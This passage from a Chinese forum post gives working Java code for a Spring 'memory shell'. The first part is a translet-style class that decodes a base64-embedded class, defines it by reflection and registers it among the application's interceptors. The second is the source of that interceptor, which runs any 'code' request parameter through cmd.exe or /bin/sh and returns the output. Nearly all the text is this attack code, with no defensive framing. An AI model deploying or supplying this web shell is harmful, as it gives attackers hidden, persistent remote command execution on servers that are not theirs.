  23.             String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
  24.             byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
  25.             java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
  26.             java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  27.             m0.setAccessible(true);
  28.             m0.invoke(classLoader, className, bytes, 0, bytes.length);
  29.             //添加com.example.spring.magicInterceptor类到adaptedInterceptors
  30.             adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
  31.         } catch (Exception e) {
  32.             e.printStackTrace();
  33.         }
  34.     }
  35.     @Override
  36.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  37.     }
  38.     @Override
  39.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  40.     }
  41. }
复制代码
  1. package com.example.spring;
  2. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. public class magicInterceptor extends HandlerInterceptorAdapter {
  6.     @Override
  7.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  8.         String code = request.getParameter("code");
  9.         if(code != null){
  10.             try {
  11.                 java.io.PrintWriter writer = response.getWriter();
  12.                 String o = "";
  13.                 ProcessBuilder p;
  14.                 if(System.getProperty("os.name").toLowerCase().contains("win")){
  15.                     p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
  16.                 }else{
  17.                     p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
  18.                 }
  19.                 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
  20.                 o = c.hasNext() ? c.next(): o;
  21.                 c.close();
  22.                 writer.write(o);
  23.                 writer.flush();
  24.                 writer.close();
  25.             }catch (Exception e){
  26.             }
  27.             return false;
  28.         }
  29.         return true;
  30.     }
  31. }
复制代码
over~

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

数据人与超自然意识

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表